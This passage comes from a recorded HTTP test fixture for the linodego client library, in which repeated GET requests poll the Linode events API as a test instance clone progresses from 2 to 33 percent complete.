2, "time_remaining": null, "rate": null, "duration": 15.900218, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.964035, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 16.027941, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 16.203897, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 16.29036, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 16.715801, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 16.7804, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 16.969577, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.038791, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.098618, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.156314, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.216317, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.296462, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.369865, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.428786, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.486355, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.549363, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.609576, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" 